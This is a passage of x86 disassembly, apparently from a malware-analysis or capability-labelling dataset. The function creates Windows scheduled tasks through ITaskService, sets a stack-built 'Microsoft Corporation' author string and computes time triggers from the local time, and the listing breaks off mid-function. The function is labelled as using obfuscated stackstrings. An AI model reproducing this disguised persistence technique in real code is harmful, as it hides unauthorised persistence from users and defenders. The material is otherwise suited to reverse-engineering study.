Function at 0x10001b64
Capabilities:
Contain obfuscated stackstrings
Schedule task via itaskservice

Disassembly:
push 0x3c0
mov eax, 0x100219b3
call fcn.10008da5
mov dword [ebp - 0x2e4], ecx
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
push ebx
push ebx
push 3
pop eax
push eax
push 6
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x2a0]
push eax
push 0x100244b4
push 1
push ebx
push 0x100244d4
call dword [sym.imp.ole32.dll_CoCreateInstance]
lea eax, [ebp - 0x3c4]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov dword [ebp - 4], ebx
lea esi, [ebp - 0x3c4]
lea edi, [ebp - 0x344]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x3ac]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x3ac]
lea edi, [ebp - 0x2fc]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x394]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x394]
lea edi, [ebp - 0x194]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x37c]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push 3
pop eax
mov byte [ebp - 4], al
lea esi, [ebp - 0x344]
sub esp, 0x10
mov eax, dword [ebp - 0x2a0]
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2fc]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x194]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x37c]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x28]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x37c]
push eax
call esi
lea eax, [ebp - 0x394]
push eax
call esi
lea eax, [ebp - 0x3ac]
push eax
call esi
lea eax, [ebp - 0x3c4]
or edi, 0xffffffff
push eax
mov dword [ebp - 4], edi
call esi
push 0x1002dc2c
lea ecx, [ebp - 0x290]
call fcn.10001a70
mov dword [ebp - 4], 4
mov edx, dword [eax]
test edx, edx
je 0x10001cb7
mov edx, dword [edx]
jmp 0x10001cb9
mov edx, ebx
mov eax, dword [ebp - 0x2a0]
lea esi, [ebp - 0x2b8]
push esi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
lea ecx, [ebp - 0x290]
mov dword [ebp - 4], edi
call fcn.10001adc
mov eax, dword [ebp - 0x2a0]
lea edx, [ebp - 0x294]
push edx
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x294]
lea edx, [ebp - 0x2d8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
movaps xmm0, xmmword [str.Microsoft_Corpor]
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x1c], 0x6f697461
movups xmmword [ebp - 0x2c], xmm0
mov word [ebp - 0x18], 0x6e
call fcn.10001a0e
push 5
pop ecx
mov dword [ebp - 4], ecx
mov eax, dword [eax]
test eax, eax
je 0x10001d39
mov edx, dword [eax]
jmp 0x10001d3b
mov edx, ebx
mov eax, dword [ebp - 0x2d8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
lea ecx, [ebp - 0x290]
mov dword [ebp - 4], edi
call fcn.10001adc
mov eax, dword [ebp - 0x294]
lea edx, [ebp - 0x2a8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov eax, dword [ebp - 0x2a8]
push 3
pop edx
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x38]
mov eax, dword [ebp - 0x2a8]
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x294]
lea edx, [ebp - 0x2a4]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x2a4]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x58]
mov eax, dword [ebp - 0x2a4]
lea edx, [ebp - 0x2e0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x9c]
mov eax, dword [ebp - 0x2a4]
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x294]
lea edx, [ebp - 0x298]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x298]
lea edx, [ebp - 0x2d4]
push edx
push 9
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x2d4]
lea edx, [ebp - 0x2ac]
mov dword [ebp - 0x2ac], ebx
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
push 0x1002dc30
lea ecx, [ebp - 0x290]
call fcn.10001a70
mov dword [ebp - 4], 6
mov edx, dword [eax]
test edx, edx
je 0x10001e2b
mov edx, dword [edx]
jmp 0x10001e2d
mov edx, ebx
mov eax, dword [ebp - 0x2ac]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
lea ecx, [ebp - 0x290]
mov dword [ebp - 4], edi
call fcn.10001adc
mov esi, 0x1002dc3c
lea ecx, [ebp - 0x22c]
push esi
call fcn.10005cbc
push esi
lea ecx, [ebp - 0x214]
mov dword [ebp - 4], 7
call fcn.10005cbc
push 8
pop eax
push esi
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], al
call fcn.10005cbc
push esi
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 9
call fcn.10005cbc
push 0xa
pop eax
push esi
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], al
call fcn.10005cbc
push esi
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], 0xb
call fcn.10005cbc
push esi
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0xc
call fcn.10005cbc
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x2d0]
mov eax, dword [ebp - 0x298]
push edx
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x2d0]
lea edx, [ebp - 0x278]
push edx
mov dword [ebp - 0x278], ebx
push 0x100244c4
mov ecx, dword [eax]
push eax
call dword [ecx]
lea eax, [ebp - 0x28c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x28c]
lea ecx, [ebp - 0x19c]
push 3
pop eax
add word [ebp - 0x280], ax
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x22c]
cmp eax, esi
je 0x10001f3e
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x22c]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x28a]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x214]
cmp eax, esi
je 0x10001f7a
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x214]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
push 0xa
pop edi
cmp word [ebp - 0x28a], di
jae 0x10001fce
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x214]
pop ecx
cmp eax, esi
je 0x10001fc3
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x214]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x286]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x1b4]
cmp eax, esi
je 0x10001fff
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1b4]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x286], di
jae 0x10002050
lea eax, [ebp - 0x1b4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x1b4]
pop ecx
cmp eax, esi
je 0x10002045
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1b4]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x284]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x1cc]
cmp eax, esi
je 0x10002081
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1cc]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x284], di
jae 0x100020d2
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x1cc]
pop ecx
cmp eax, esi
je 0x100020c7
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1cc]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x282]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x1e4]
cmp eax, esi
je 0x10002103
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1e4]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x282], di
jae 0x10002154
lea eax, [ebp - 0x1e4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x1e4]
pop ecx
cmp eax, esi
je 0x10002149
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1e4]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x280]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x1fc]
cmp eax, esi
je 0x10002185
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x280], di
jae 0x100021d6
lea eax, [ebp - 0x1fc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x1fc]
pop ecx
cmp eax, esi
je 0x100021cb
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
push ecx
lea edx, [ebp - 0x22c]
mov dword [ebp - 0x27c], ebx
lea ecx, [ebp - 0x36c]
call fcn.100067ea
pop ecx
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0xe
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x31c]
mov dword [ebp - 0x31c], ebx
mov dword [ebp - 0x30c], ebx
mov dword [ebp - 0x308], ebx
call fcn.10006313
push 0x1002dc4c
lea edx, [ebp - 0x31c]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x384]
call fcn.100067b1
pop ecx
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 0x10
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x334], ebx
mov dword [ebp - 0x324], ebx
mov dword [ebp - 0x320], ebx
call fcn.10006313
push 0x1002dc48
lea edx, [ebp - 0x334]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x39c]
call fcn.100067b1
pop ecx
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 0x12
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x34c]
mov dword [ebp - 0x34c], ebx
mov dword [ebp - 0x33c], ebx
mov dword [ebp - 0x338], ebx
call fcn.10006313
mov esi, 0x1002dc44
mov byte [ebp - 4], 0x13
push esi
lea edx, [ebp - 0x34c]
lea ecx, [ebp - 0x3b4]
call fcn.100067b1
pop ecx
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x14
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x304], ebx
mov dword [ebp - 0x2f4], ebx
mov dword [ebp - 0x2f0], ebx
call fcn.10006313
mov byte [ebp - 4], 0x15
lea edx, [ebp - 0x304]
push esi
lea ecx, [ebp - 0x3cc]
call fcn.100067b1
pop ecx
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], 0x16
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x188], ebx
call fcn.10006313
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x19c]
cmp dword [ebp - 0x188], 8
lea ecx, [ebp - 0x27c]
cmovae eax, dword [ebp - 0x19c]
push eax
call fcn.10001a70
lea ecx, [ebp - 0x19c]
call fcn.1000623f
lea ecx, [ebp - 0x3cc]
call fcn.1000623f
lea ecx, [ebp - 0x304]
call fcn.1000623f
lea ecx, [ebp - 0x3b4]
call fcn.1000623f
lea ecx, [ebp - 0x34c]
call fcn.1000623f
lea ecx, [ebp - 0x39c]
call fcn.1000623f
lea ecx, [ebp - 0x334]
call fcn.1000623f
lea ecx, [ebp - 0x384]
call fcn.1000623f
lea ecx, [ebp - 0x31c]
call fcn.1000623f
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x22
call fcn.1000623f
mov eax, dword [ebp - 0x27c]
test eax, eax
je 0x100023ec
mov edx, dword [eax]
jmp 0x100023ee
mov edx, ebx
mov eax, dword [ebp - 0x278]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 0xd
call fcn.10001adc
mov eax, dword [ebp - 0x298]
lea edx, [ebp - 0x2cc]
push edx
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x2cc]
lea edx, [ebp - 0x278]
push edx
mov dword [ebp - 0x278], ebx
push 0x100244c4
mov ecx, dword [eax]
push eax
call dword [ecx]
movzx edx, word [ebp - 0x28c]
lea ecx, [ebp - 0x19c]
push 5
pop eax
add word [ebp - 0x280], ax
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x22c]
cmp eax, esi
je 0x10002477
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x22c]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x28a]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x214]
cmp eax, esi
je 0x100024b3
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x214]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x28a], di
jae 0x10002504
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x214]
pop ecx
cmp eax, esi
je 0x100024f9
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x214]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x286]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x1b4]
cmp eax, esi
je 0x10002535
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1b4]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x286], di
jae 0x10002586
lea eax, [ebp - 0x1b4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x1b4]
pop ecx
cmp eax, esi
je 0x1000257b
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1b4]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x284]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x1cc]
cmp eax, esi
je 0x100025b7
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1cc]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x284], di
jae 0x10002608
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x1cc]
pop ecx
cmp eax, esi
je 0x100025fd
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1cc]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x282]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x1e4]
cmp eax, esi
je 0x10002639
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1e4]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x282], di
jae 0x1000268a
lea eax, [ebp - 0x1e4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x1e4]
pop ecx
cmp eax, esi
je 0x1000267f
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1e4]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x280]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x1fc]
cmp eax, esi
je 0x100026bb
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x280], di
jae 0x1000270c
lea eax, [ebp - 0x1fc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x1fc]
pop ecx
cmp eax, esi
je 0x10002701
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
push ecx
lea edx, [ebp - 0x22c]
mov dword [ebp - 0x27c], ebx
lea ecx, [ebp - 0x36c]
call fcn.100067ea
pop ecx
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x23
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x31c]
mov dword [ebp - 0x31c], ebx
mov dword [ebp - 0x30c], ebx
mov dword [ebp - 0x308], ebx
call fcn.10006313
push 0x1002dc4c
lea edx, [ebp - 0x31c]
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x384]
call fcn.100067b1
pop ecx
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 0x25
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x334], ebx
mov dword [ebp - 0x324], ebx
mov dword [ebp - 0x320], ebx
call fcn.10006313
push 0x1002dc48
lea edx, [ebp - 0x334]
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x39c]
call fcn.100067b1
pop ecx
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 0x27
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x34c]
mov dword [ebp - 0x34c], ebx
mov dword [ebp - 0x33c], ebx
mov dword [ebp - 0x338], ebx
call fcn.10006313
mov esi, 0x1002dc44
mov byte [ebp - 4], 0x28
push esi
lea edx, [ebp - 0x34c]
lea ecx, [ebp - 0x3b4]
call fcn.100067b1
pop ecx
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x29
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x304], ebx
mov dword [ebp - 0x2f4], ebx
mov dword [ebp - 0x2f0], ebx
call fcn.10006313
mov byte [ebp - 4], 0x2a
lea edx, [ebp - 0x304]
push esi
lea ecx, [ebp - 0x3cc]
call fcn.100067b1
pop ecx
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], 0x2b
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x188], ebx
call fcn.10006313
push 8
pop esi
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0x19c]
cmp dword [ebp - 0x188], esi
lea ecx, [ebp - 0x27c]
cmovae eax, dword [ebp - 0x19c]
push eax
call fcn.10001a70
lea ecx, [ebp - 0x19c]
call fcn.1000623f
lea ecx, [ebp - 0x3cc]
call fcn.1000623f
lea ecx, [ebp - 0x304]
call fcn.1000623f
lea ecx, [ebp - 0x3b4]
call fcn.1000623f
lea ecx, [ebp - 0x34c]
call fcn.1000623f
lea ecx, [ebp - 0x39c]
call fcn.1000623f
lea ecx, [ebp - 0x334]
call fcn.1000623f
lea ecx, [ebp - 0x384]
call fcn.1000623f
lea ecx, [ebp - 0x31c]
call fcn.1000623f
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x37
call fcn.1000623f
mov eax, dword [ebp - 0x27c]
test eax, eax
je 0x10002924
mov edx, dword [eax]
jmp 0x10002926
mov edx, ebx
mov eax, dword [ebp - 0x278]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 0xd
call fcn.10001adc
mov eax, dword [ebp - 0x298]
lea edx, [ebp - 0x2c8]
push edx
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x2c8]
lea edx, [ebp - 0x27c]
push edx
mov dword [ebp - 0x27c], ebx
push 0x100244c4
mov ecx, dword [eax]
push eax
call dword [ecx]
movzx edx, word [ebp - 0x28c]
lea ecx, [ebp - 0x19c]
add word [ebp - 0x280], si
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x22c]
cmp eax, esi
je 0x100029ac
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x22c]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x28a]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x214]
cmp eax, esi
je 0x100029e8
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x214]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x28a], di
jae 0x10002a39
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x214]
pop ecx
cmp eax, esi
je 0x10002a2e
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x214]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x286]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x1b4]
cmp eax, esi
je 0x10002a6a
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1b4]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x286], di
jae 0x10002abb
lea eax, [ebp - 0x1b4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x1b4]
pop ecx
cmp eax, esi
je 0x10002ab0
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1b4]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x284]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x1cc]
cmp eax, esi
je 0x10002aec
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1cc]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x284], di
jae 0x10002b3d
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x1cc]
pop ecx
cmp eax, esi
je 0x10002b32
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1cc]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x282]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x1e4]
cmp eax, esi
je 0x10002b6e
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1e4]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x282], di
jae 0x10002bbf
lea eax, [ebp - 0x1e4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x1e4]
pop ecx
cmp eax, esi
je 0x10002bb4
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1e4]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
movzx edx, word [ebp - 0x280]
lea ecx, [ebp - 0x19c]
call fcn.100019a1
mov esi, eax
lea eax, [ebp - 0x1fc]
cmp eax, esi
je 0x10002bf0
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
cmp word [ebp - 0x280], di
jae 0x10002c41
lea eax, [ebp - 0x1fc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.10006764
mov esi, eax
lea eax, [ebp - 0x1fc]
pop ecx
cmp eax, esi
je 0x10002c36
mov ecx, eax
call fcn.1000623f
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10006313
lea ecx, [ebp - 0x19c]
call fcn.1000623f
push ecx
lea edx, [ebp - 0x22c]
mov dword [ebp - 0x278], ebx
lea ecx, [ebp - 0x36c]
call fcn.100067ea
pop ecx
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x38
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x31c]
mov dword [ebp - 0x31c], ebx
mov dword [ebp - 0x30c], ebx
mov dword [ebp - 0x308], ebx
call fcn.10006313
push 0x1002dc4c
lea edx, [ebp - 0x31c]
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x384]
call fcn.100067b1
pop ecx
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 0x3a
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x334], ebx
mov dword [ebp - 0x324], ebx
mov dword [ebp - 0x320], ebx
call fcn.10006313
push 0x1002dc48
lea edx, [ebp - 0x334]
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x39c]
call fcn.100067b1
pop ecx
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 0x3c
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x34c]
mov dword [ebp - 0x34c], ebx
mov dword [ebp - 0x33c], ebx
mov dword [ebp - 0x338], ebx
call fcn.10006313
mov esi, 0x1002dc44
mov byte [ebp - 4], 0x3d
push esi
lea edx, [ebp - 0x34c]
lea ecx, [ebp - 0x3b4]
call fcn.100067b1
pop ecx
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x3e
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x304], ebx
mov dword [ebp - 0x2f4], ebx
mov dword [ebp - 0x2f0], ebx
call fcn.10006313
mov byte [ebp - 4], 0x3f
lea edx, [ebp - 0x304]
push esi
lea ecx, [ebp - 0x3cc]
call fcn.100067b1
pop ecx
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], 0x40
push ecx
mov ecx, eax
call fcn.10006f20
push eax
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x188], ebx
call fcn.10006313
push 8
pop esi
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x19c]
cmp dword [ebp - 0x188], esi
lea ecx, [ebp - 0x278]
cmovae eax, dword [ebp - 0x19c]
push eax
call fcn.10001a70
lea ecx, [ebp - 0x19c]
call fcn.1000623f
lea ecx, [ebp - 0x3cc]
call fcn.1000623f
lea ecx, [ebp - 0x304]
call fcn.1000623f
lea ecx, [ebp - 0x3b4]
call fcn.1000623f
lea ecx, [ebp - 0x34c]
call fcn.1000623f
lea ecx, [ebp - 0x39c]
call fcn.1000623f
lea ecx, [ebp - 0x334]
